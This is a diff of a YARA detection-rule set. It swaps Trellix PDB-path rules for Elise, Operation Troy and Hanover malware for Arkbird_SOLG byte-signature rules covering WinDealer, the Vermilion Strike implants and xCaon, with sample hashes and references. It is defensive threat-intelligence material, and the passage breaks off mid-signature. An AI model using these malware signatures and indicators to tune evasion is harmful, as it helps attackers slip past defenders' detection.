+		reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_2.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "c2fb5697dcdb34e0fb3e2dbd2df05748eddc2796c253e90503372eb73c475fab"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/RecordedTV"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0c365d9730a10f1a3680d24214682f79f88aa2a2a602d3d80ef4c1712210ab07"
+		hash2 = "2eef273af0c768b514db6159d7772054d27a6fa8bc3d862df74de75741dbfb9c"
+		tlp = "white"
+		adversary = "LuoYu"
 
 	strings:
-		$byte = { C0 0E 5B C3 }
-		$s1 = "Encrypted file:  CRC failed in %s (password incorrect ?)" fullword wide
-		$s2 = "EBorland C++ - Copyright 1999 Inprise Corporation" fullword ascii
-		$s3 = " MacOS file type:  %c%c%c%c  ; " fullword wide
-		$s4 = "rar.lng" fullword ascii
+		$s1 = { 81 ec f0 03 00 00 53 55 8b d9 56 8d 44 24 0c 57 8d 4c 24 18 50 51 c7 44 24 18 f4 01 00 00 ff 15 0c [2] 10 85 c0 0f 85 ?? 01 00 00 68 [3] 10  }
+		$s2 = { 81 ec 24 03 00 00 53 56 8d 44 24 18 57 50 68 03 01 00 00 6a 00 68 [2] 03 10 68 01 00 00 80 c7 44 24 20 00 00 00 00 ff 15 10 [2] 10 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 20 51 52 8b 1d 00 [2] 10 50 68 3f 01 0f 00 50 50 50 8b 44 24 38 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 10 51 52 50 68 3f 01 0f 00 50 50 50 8b 44 24 3c 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 bf [2] 03 10 83 c9 ff f2 ae f7 d1 2b f9 8d ?? 24 }
+		$s3 = "%s\\%s\\V5_History.dat" wide
+		$s4 = { 8b 8c 24 2c 02 00 00 8b 94 24 28 02 00 00 55 57 51 52 8d 44 24 24 53 50 89 74 24 2c e8 05 fb ff ff b9 41 00 00 00 33 c0 8d bc 24 34 01 00 00 83 c4 18 f3 ab 8d 8c 24 1c 01 00 00 51 68 04 01 00 00 ff 15 [2] 03 10 b9 41 00 00 00 33 c0 8d 7c 24 18 50 f3 ab [3] 01 }
+		$s5 = { 56 6a 10 e8 [3] 00 8b f0 85 f6 74 3a 8b 4c 24 0c 8d 46 04 85 c9 c7 06 [3] 10 c7 00 00 00 00 00 50 74 11 8b 44 24 0c 50 e8 [3] 00 89 46 08 8b c6 5e c3 8b 4c 24 0c 51 e8 [3] 00 89 46 08 8b c6 5e c3 33 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and all of them
+		uint16(0)==0x5A4D and filesize >80KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Elise_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Stager_Vermilion_Strike_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Elise APT based on the PDB reference"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "cc8dd203-baad-5800-ba2c-f9c47d8ca6f0"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0081/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_elise_pdb.yar#L1-L29"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "b426dbe0f281fe44495c47b35c0fb61b28558b5c8d9418876e22ec3de4df9e7b"
-		logic_hash = "bb7eee8082aa0f6634a8c4cdb9cbe0e2a7f00b97e48609c81a21bdaac64a5496"
-		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Elise"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect the windows version of the stager of Vermilion Strike implant"
+		author = "Arkbird_SOLG"
+		id = "7a8ae258-1fb4-5a24-b69e-3a632e00bfae"
+		date = "2021-09-14"
+		modified = "2021-09-16"
+		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Stager_Vermilion_Strike_Sep_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "cc4d59c92faba1f3435c8454071a1e1c60b6339393796c76e64b890bb85d13cc"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc"
+		level = "experimental"
+		tlp = "White"
+		adversary = "Vermilion Strike"
 
 	strings:
-		$pdb = "\\lstudio\\projects\\lotus\\elise\\Release\\EliseDLL\\i386\\EliseDLL.pdb"
-		$pdb1 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\SetElise.pdb"
-		$pdb2 = "\\lstudio\\projects\\lotus\\elise\\Release\\SetElise\\i386\\SetElise.pdb"
-		$pdb3 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\Uninstaller.pdb"
-		$pdb4 = "\\lstudio\\projects\\lotus\\evora\\Release\\EvoraDLL\\i386\\EvoraDLL.pdb"
+		$s1 = { a1 b0 62 41 00 33 c4 50 8d 84 24 d0 00 00 00 64 a3 00 00 00 00 8b da 8b 84 24 ec 00 00 00 8b b4 24 e0 00 00 00 8b bc 24 e4 00 00 00 8b ac 24 e8 00 00 00 8d 54 24 2c 52 89 44 24 28 89 4c 24 2c e8 95 f0 ff ff 33 c0 89 84 24 d8 00 00 00 c7 84 24 88 00 00 00 0f 00 00 00 89 84 24 84 00 00 00 88 44 24 74 6a 17 68 fc 3b 41 00 8d 44 24 78 c6 84 24 e0 00 00 00 01 e8 9e 0b 00 00 6a 02 68 14 3c 41 00 8d 44 24 78 e8 8e 0b 00 00 6a 00 6a 00 6a 00 6a 01 55 ff 15 44 21 41 00 8b e8 55 6a 02 57 53 8b ce 89 6c 24 2c e8 8d fc ff ff 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 53 56 55 ff 15 58 21 41 00 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 57 68 f8 3b 41 00 50 89 44 24 40 ff 15 4c 21 41 00 }
+		$s2 = { 64 a1 00 00 00 00 50 83 ec 60 a1 b0 62 41 00 33 c4 89 44 24 58 53 55 56 57 a1 b0 62 41 00 33 c4 50 8d 44 24 74 64 a3 00 00 00 00 8b 84 24 88 00 00 00 8b ac 24 84 00 00 00 8b f9 89 44 24 18 33 c0 8d 4c 24 1c 51 8b f2 33 db 89 44 24 30 89 44 24 34 89 44 24 38 89 44 24 3c 89 44 24 40 89 44 24 44 89 44 24 48 89 44 24 4c 89 44 24 50 89 44 24 20 89 44 24 24 89 44 24 28 89 44 24 2c ff 15 2c 21 41 00 85 c0 74 21 39 5c 24 1c 74 05 bb 01 00 00 00 8b 44 24 20 }
+		$s3 = { 50 56 8d 4c 24 58 e8 fc f2 ff ff 6a 01 8d 54 24 18 52 8d 44 24 58 50 89 9c 24 88 00 00 00 33 c0 c6 44 24 20 3d e8 0d 01 00 00 83 f8 ff 74 4f 80 bc 24 8c 00 00 00 00 74 16 56 bb 18 3c 41 00 8d 7c 24 54 e8 8f fd ff ff 83 c4 04 84 c0 75 2f 56 bb 20 3c 41 00 8d 7c 24 54 e8 79 fd ff ff 83 c4 04 84 c0 75 19 56 bb 28 3c 41 00 e8 67 fd ff ff 83 c4 04 84 c0 74 07 c7 45 00 04 00 00 00 83 7c 24 68 10 72 19 }
+		$s4 = { 8d 44 24 18 50 8d 4c 24 18 51 6a 1f 53 c7 44 24 28 04 00 00 00 ff 15 3c 21 41 00 81 4c 24 14 00 01 00 00 6a 04 8d 54 24 18 52 6a 1f 53 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and any of them
+		uint16(0)==0x5A4D and filesize >30KB and 3 of them
 }
-rule TRELLIX_ARC_Troy_Malware_Campaign_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Vermilion_Strike_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Operation Troy based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "c1fc5b9c-104f-5d07-86ee-5a54d9731f04"
-		date = "2013-06-23"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_troy.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "2ca6b7e9488c1e9f39392e696704ad3f2b82069e35bc8001d620024ebbf2d65a"
-		logic_hash = "a64b4aa082c45d1753ad30ba2f67df0ef5b7658c3c99e031ef747eb4e6c7bb00"
-		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/OperationTroy"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		description = "Detect the ELF version of Vermilion Strike implant"
+		author = "Arkbird_SOLG"
+		id = "bfc498b6-4d3d-5ae9-a360-d31f8cf6c5fc"
+		date = "2021-09-14"
+		modified = "2021-09-16"
+		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_ELF_Vermilion_Strike_Sep_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "fe4bb6da7b29f1ae7c25a657d27f5e60ffa0e7d9f1f09a5a2331e4a80eb79481"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc"
+		level = "experimental"
+		tlp = "White"
+		adversary = "Vermilion Strike"
 
 	strings:
-		$pdb = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\BD_Installer\\Release\\BD_Installer.pdb"
-		$pdb1 = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Dll\\Concealment_Troy(Dll)\\Release\\Concealment_Troy.pdb"
+		$s1 = { be bd f8 40 00 41 55 49 89 fd bf a3 f8 40 00 41 54 55 53 48 81 ec 20 04 00 00 e8 4f cb ff ff 48 85 c0 48 89 c5 0f 84 af 01 00 00 48 8d 5c 24 20 41 bc 0a 00 00 00 41 be b0 32 40 00 66 90 48 89 ea be c8 00 00 00 48 89 df e8 30 cd ff ff 48 85 c0 0f 84 4f 01 00 00 80 7c 24 20 23 74 e0 bf b4 f8 40 00 48 89 de 4c 89 e1 f3 a6 75 d1 be d4 1d 41 }
+		$s2 = { 8b 43 14 8b 73 10 8b 4b 0c 8d 56 01 44 8d 80 6c 07 00 00 be 70 21 41 00 31 c0 e8 ed 34 ff ff 48 85 ed 74 28 8b 4b 04 8b 53 08 48 89 ef 44 8b 03 48 83 c4 08 be 79 21 41 00 5b 5d }
+		$s3 = { 55 53 48 83 ec 70 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 40 48 89 44 24 08 8b 84 24 90 00 00 00 89 04 24 e8 22 fb ff ff e8 fd 58 ff ff e8 38 5a ff ff e8 f3 59 ff ff 0f 1f 00 e8 5b 5e ff ff 48 89 c7 e8 23 5b ff ff 48 89 c7 48 89 c5 e8 18 5f ff ff 48 8d 4c 24 50 31 d2 be 6e 00 00 00 48 89 c7 48 89 c3 e8 41 59 ff ff 48 8b 7c 24 50 31 c9 ba 04 00 00 00 be 21 00 00 00 e8 1b 60 ff ff 48 8d 54 24 2f 48 8d 7c 24 60 4c 89 e6 e8 d9 5c ff ff 48 8d 7c 24 60 ba 88 f8 40 00 be a7 20 41 00 e8 a5 1f 00 00 48 8b 4c 24 60 31 d2 be 64 00 00 00 48 89 df e8 f1 58 ff ff 31 c9 31 d2 be 65 00 00 00 48 89 df e8 e0 58 ff ff 48 85 c0 7e 73 48 8b 7c 24 50 e8 41 58 ff ff 8b 54 24 30 48 8b 74 24 40 48 89 df e8 50 59 ff ff 48 8b 7c 24 40 e8 66 12 00 00 48 8b 94 24 a0 00 00 00 48 8b b4 24 98 00 00 00 48 89 df e8 0e fd ff ff 48 89 df e8 b6 5f ff ff 48 89 ef e8 ce 58 ff ff b8 01 00 00 00 48 8b 54 24 60 48 8d 7a e8 48 81 ff c0 54 61 00 75 23 48 83 c4 70 5b 5d 41 5c c3 66 0f 1f 44 00 00 48 89 df e8 80 5f ff ff 48 89 ef e8 98 58 ff ff 31 c0 eb cb be b0 32 40 00 48 8d 4f 10 48 85 f6 74 3d 83 ca ff }
+		$s4 = { 8b 15 6e e4 20 00 31 ff be e0 57 61 00 e8 0a b8 ff ff 48 89 c7 31 c0 48 85 ff 74 17 48 89 3d e9 e4 20 00 e8 a4 bf ff ff 89 05 e6 e4 20 00 b8 01 00 }
+		$s5 = { b8 02 00 00 00 48 89 fb 48 83 ec 10 66 89 04 25 00 00 00 00 e8 a6 4e ff ff 83 f8 ff 89 04 24 74 16 89 04 25 04 00 00 00 b8 01 00 00 00 48 83 c4 10 5b c3 0f 1f 40 00 48 89 df e8 f0 4e ff ff 48 89 c1 31 c0 48 85 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and any of them
+		uint32(0)==0x464c457f and filesize >30KB and 4 of them
 }
-rule TRELLIX_ARC_Apt_Hanover_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Beacon_Vermilion_Strike_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect hanover samples based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "e2476ae8-d284-58f5-8bcb-9313a5b4d756"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L1-L39"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "a2460412575cdc187dfb69eb2847c5b43156af7f7d94b71422e7f771e8adb51e"
-		logic_hash = "a37d528e4dacddcabe55261f16b51aec626f6180107f154d3ae34cdfa71e2c58"
+		description = "Detect the windows version of the beacon of Vermilion Strike implant"
+		author = "Arkbird_SOLG"
+		id = "61bb0f02-0eb3-5abe-a2fc-65b94a9486f7"
+		date = "2021-09-14"
+		modified = "2021-09-16"
+		reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_Beacon_Vermilion_Strike_Sep_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "801d93fc250666a48fbdd504c8bacab74f0bf7f534a7301a20ad79df3b41750d"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "c49631db0b2e41125ccade68a0fe7fb70939315f1c580510e40e5b30ead868f5"
+		hash2 = "07b815cee2b85a41820cd8157a68f35aa1ed0aa5f4093b8cb79a1d645a16273f"
+		hash3 = "7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492"
+		tlp = "White"
+		adversary = "Vermilion Strike"
 
 	strings:
-		$pdb = "\\andrew\\Key\\Release\\Keylogger_32.pdb"
-		$pdb1 = "\\BACK_UP_RELEASE_28_1_13\\General\\KG\\Release\\winsvcr.pdb"
-		$pdb2 = "\\BackUP-Important\\PacketCapAndUpload_Backup\\voipsvcr\\Release\\voipsvcr.pdb"
-		$pdb3 = "\\BNaga\\kaam\\New_FTP_2\\Release\\ftpback.pdb"
-		$pdb4 = "\\DD0\\DD\\u\\Release\\dataup.pdb"
-		$pdb5 = "\\Documents and Settings\\Admin\\Desktop\\Newuploader\\Release\\Newuploader.pdb"
-		$pdb6 = "\\Documents and Settings\\Admin\\Desktop\\Uploader Code\\Release\\Newuploader.pdb"
-		$pdb7 = "\\Documents and Settings\\Administrator\\Desktop\\nn\\Release\\nn.pdb"
-		$pdb8 = "\\smse\\Debug\\smse.pdb"
-		$pdb9 = "\\Users\\admin\\Documents\\Visual Studio 2008\\Projects\\DNLDR-no-ip\\Release\\DNLDR.pdb"
-		$pdb10 = "\\final exe\\check\\Release\\check.pdb"
-		$pdb11 = "\\Projects\\Elance\\AppInSecurityGroup\\FtpBackup\\Release\\Backup.pdb"
-		$pdb12 = "\\projects\\windows\\MailPasswordDecryptor\\Release\\MailPasswordDecryptor.pdb"
-		$pdb13 = "\\final project backup\\UPLODER FTP BASED\\New folder\\Tron 1.2.1(Ftp n Startup)\\Release\\Http_t.pdb"
+		$s1 = { 50 c7 03 01 00 00 00 e8 cc ?? 00 00 89 43 04 83 f8 ff 74 2c 8b 4d 08 6a 00 8d 44 24 0c 50 53 6a 08 6a 01 51 e8 91 ?? 00 00 85 c0 75 13 8b 44 24 08 66 83 78 08 01 6a 01 50 74 38 e8 80 ?? 00 00 8b 4e 10 2b 4e 0c b8 93 24 49 92 f7 e9 03 d1 c1 fa 04 8b c2 c1 e8 1f 47 03 c2 3b f8 0f 8c 30 ff ff ff 53 ff 15 }
+		$s2 = { 8b 4c 24 1c 6a 00 6a 00 6a 00 6a 01 51 ff 15 5c a2 02 10 8b 55 0c 8b f0 56 6a 02 53 52 8b cf 89 74 24 34 e8 f0 fb ff ff 8b 45 0c 83 c4 10 6a 00 6a 00 6a 03 6a 00 6a 00 50 57 56 ff 15 50 a2 02 10 8b 4c 24 30 6a 00 68 00 82 80 80 6a 00 6a 00 6a 00 53 51 50 89 44 24 3c ff 15 64 a2 02 10 8b f8 89 7c 24 14 8d 49 00 8b b4 24 90 00 00 00 8b 5c 24 7c 8b c3 83 fe 10 73 04 8d 44 24 7c 8d 50 01 8d a4 24 00 00 00 00 8a 08 40 84 c9 75 f9 2b c2 8b cb 83 fe 10 73 04 8d 4c 24 7c 8b 55 20 52 8b 54 24 2c 52 50 51 57 ff 15 4c a2 02 10 85 }
+		$s3 = { 68 00 00 00 10 6a 00 6a 00 6a 00 6a 00 c7 44 24 60 01 00 00 00 ff 15 40 a2 02 10 8b d8 8d 54 24 2c 52 8d 44 24 3c 50 55 53 ff 15 38 a2 02 10 8b e8 85 db 74 07 53 ff 15 44 a2 02 10 85 ed 74 2f 8b }
+		$s4 = { 6a ff 68 [2] 02 10 64 a1 00 00 00 00 50 81 ec 14 01 00 00 a1 c0 72 03 10 33 c4 89 84 24 10 01 00 00 53 a1 c0 72 03 10 33 c4 50 8d 84 24 1c 01 00 00 64 a3 00 00 00 00 33 db 8d 44 24 0c 89 9c 24 24 01 00 00 50 8d 4c 24 18 89 5c 24 0c 51 89 74 24 18 c7 44 24 14 04 01 00 00 ff 15 04 a0 02 10 8d 44 24 14 c7 46 18 0f 00 00 00 89 5e 14 88 5e 04 8d 50 01 8a 08 40 3a cb 75 f9 2b c2 50 8d 54 24 18 52 8b ce e8 [2] ff ff 89 9c 24 24 01 00 00 c7 44 24 08 01 00 00 00 e8 d1 fe ff ff 85 c0 8b c6 74 0e 6a 02 68 ?? c6 02 10 e8 [2] ff ff 8b c6 8b 8c 24 1c 01 00 00 64 89 0d 00 00 00 00 59 5b 8b 8c 24 }
+		$s5 = { a1 c0 72 03 10 33 c4 89 44 24 2c 68 00 00 00 f0 6a 18 6a 00 6a 00 68 4c 97 03 10 ff 15 30 a0 02 10 85 c0 75 11 33 c0 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 58 97 03 10 8b 0d 54 97 03 10 68 50 97 03 10 6a 00 33 c0 6a 00 66 89 44 24 1e a1 5c 97 03 10 89 54 24 2c 6a 1c 8d 54 24 20 89 44 24 34 a1 4c 97 03 10 89 4c 24 2c 8b 0d 60 97 03 10 52 50 c6 44 24 28 08 c6 44 24 29 02 c7 44 24 2c 0e 66 00 00 c7 44 24 30 10 00 00 00 89 4c 24 40 ff 15 2c a0 02 10 85 c0 74 87 8b 0d 50 97 03 10 56 8b 35 38 a0 02 10 6a 00 68 ?? 82 03 10 6a 01 51 c7 44 24 18 01 00 00 00 c7 44 24 20 01 00 00 00 ff d6 85 c0 74 2b a1 50 97 03 10 6a 00 8d 54 24 0c 52 6a 03 50 ff d6 85 c0 74 16 8b 15 50 97 03 10 6a 00 8d 4c 24 14 51 6a 04 52 ff d6 85 c0 75 12 33 c0 5e 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 50 97 03 10 6a }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and any of them
+		uint16(0)==0x5A4D and filesize >30KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Hanover_Appinbot_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_Mal_Xcaon_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect hanover appinbot samples based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "fb201000-ca8b-57e0-b560-5082477d8ee7"
-		date = "2012-01-05"
-		modified = "2020-08-14"
-		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L41-L77"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "6ad56d64444fa76e1ad43a8c260c493b9086d4116eb18af630e65d3fd39bf6d6"
-		logic_hash = "56cdd22efd81bcdda445242257b2418c6941bf9e5e68065d8b8d73d0f9c27df5"
+		description = "Detect the xCaon malware"
+		author = "Arkbird_SOLG"
+		id = "bcd5a52d-9547-5709-95f4-9d1f956f623c"
+		date = "2021-07-01"
+		modified = "2021-07-02"
+		reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_xCaon_Jul_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "9c3e3d0035596323a505404ecc067bd2b87a4b0ac7499f1c87aac015f59eb65a"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Hanover"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b"
+		hash2 = "e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1"
+		hash3 = "489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216"
+		tlp = "White"
+		adversary = "IndigoZebra"
 
 	strings:
-		$pdb = "\\BNaga\\backup_28_09_2010\\threads tut\\pen-backup\\BB_FUD_23\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb1 = "\\BNaga\\SCode\\BOT\\MATRIX_1.2.2.0\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
-		$pdb2 = "\\Documents and Settings\\Admin\\Desktop\\appinbot_1.2_120308\\appinclient\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb3 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\ CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb4 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\ MATRIX_1.3.4\\CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb5 = "\\Documents and Settings\\Administrator\\Desktop\\Backup\\17_8_2011\\MATRIX_1.3.4\\MATRIX_1.3.4\\ CLIENT\\Build\\Win32\\Release\\deleter.pdb"
-		$pdb6 = "\\pen-backup\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb7 = "\\pen-backup\\Copy of client\\Copy of client\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
-		$pdb8 = "\\temp\\elance\\PROTOCOL_1.2\\Build\\Win32\\Release\\deleter.pdb"
-		$pdb9 = "\\Users\\PRED@TOR\\Desktop\\appinbot_1.2_120308\\Build\\Win32\\Release\\deleter.pdb"
-		$pdb10 = "\\Users\\PRED@TOR\\Desktop\\MODIFIED PROJECT LAB\\admin\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb11 = "\\Desktop backup\\Copy\\appinbot_1.2_120308\\Build\\Win32\\Release\\appinclient.pdb"
-		$pdb12 = "\\Datahelp\\SCode\\BOT\\MATRIX_1.3.3\\CLIENT\\Build\\Win32\\Release\\appinclient.pdb"
+		$s1 = { a1 7c 10 41 00 33 c5 89 45 fc 8b 45 08 56 57 6a 49 89 85 f8 80 ff ff 58 6a 50 66 89 45 c8 58 6a 48 66 89 45 ca 58 6a 4c 66 89 45 cc 58 6a 50 66 89 45 ce 58 6a 41 66 89 45 d0 58 6a 50 66 89 45 d2 58 6a 49 66 89 45 d4 58 6a 2e 66 89 45 d6 58 6a 44 66 89 45 d8 58 66 89 45 da 6a 4c 58 66 89 45 dc 66 89 45 de 33 c0 66 89 45 e0 8d 45 c8 50 c7 45 e4 47 65 74 41 c7 45 e8 64 61 70 74 c7 45 ec 65 72 73 49 c7 45 f0 6e 66 6f 00 ff 15 50 d0 40 00 8d 4d e4 51 50 89 85 f4 80 ff ff ff 15 54 d0 40 00 8d 8d f0 80 ff ff 51 8d 8d fc 80 ff ff 51 c7 85 f0 80 ff ff 90 7e 00 00 ff d0 8b c8 33 c0 c6 45 f4 00 8d 7d f5 ab 66 ab aa 85 c9 0f 85 1d 01 00 00 53 6a 25 5e 6a 30 5a 6a 32 59 8b c6 66 89 45 8c 8b c2 66 89 45 8e 6a 58 8b c1 66 89 45 90 58 8b f8 6a 2d 66 89 7d 92 5f 8b df 66 89 5d 94 8b de 66 89 5d 96 8b da 66 89 5d 98 8b d9 66 89 5d 9a 8b d8 66 89 5d 9c 8b df 66 89 5d 9e 8b de 66 89 5d a0 8b da 66 89 5d a2 8b d9 66 89 5d a4 8b d8 66 89 5d a6 8b df 66 89 5d a8 8b de 66 89 5d aa 8b da 66 89 5d ac 8b d9 66 89 5d ae 8b d8 66 89 5d b0 8b df 66 89 5d b2 8b de 66 89 5d b4 8b da 66 89 5d b6 8b d9 66 89 45 c4 66 89 5d b8 8b d8 33 c0 66 89 45 c6 6a 06 8d 85 90 82 ff ff 50 8d 45 f4 50 66 89 5d ba 66 89 7d bc 66 89 75 be 66 89 55 c0 66 89 4d c2 e8 ?? 17 00 00 0f b6 45 f9 50 0f b6 45 f8 50 0f b6 45 f7 50 0f b6 45 f6 50 0f b6 45 f5 50 0f b6 45 f4 50 8d 45 8c 50 ff b5 f8 80 ff ff ff 15 44 d1 40 00 83 c4 2c 33 f6 46 5b ff b5 f4 80 ff ff ff 15 4c d0 40 00 8b }
+		$s2 = { 6a 5b 58 6a 55 66 89 45 c4 58 6a 70 66 89 45 c6 58 6a 6c 66 89 45 c8 58 6a 6f 66 89 45 ca 58 6a 61 66 89 45 cc 58 6a 64 66 89 45 ce 58 6a 5d 66 89 45 d0 58 6a 0d 66 89 45 d2 58 6a 0a 66 89 45 d4 58 6a 25 66 89 45 d6 33 c0 66 89 45 d8 58 6a 74 66 89 45 ac 8b c6 66 89 45 ae 58 6a 6d 66 89 45 b0 58 6a 70 66 89 45 b2 58 6a 25 66 89 45 b4 58 6a 64 66 89 45 b6 58 6a 2e 66 89 45 b8 58 6a 6c 66 89 45 ba 58 6a 6f 66 89 45 bc 58 6a 67 66 89 45 be 58 6a 46 66 89 45 c0 33 c0 66 89 45 c2 58 6a 69 66 89 45 dc 58 6a 6c 66 89 45 de 58 6a 65 66 89 45 e0 58 6a 3a 66 89 45 e2 58 66 89 45 e4 6a 25 58 66 89 45 e6 6a 0d 58 66 89 45 ea 6a 0a 58 66 89 45 ec 33 c0 66 89 45 ee 8d 45 c4 50 66 89 75 e8 e8 ?? 11 00 00 59 8d 4d c4 8d b5 50 f3 ff ff e8 [2] ff ff 89 bd 4c f2 ff ff c7 85 48 f3 ff 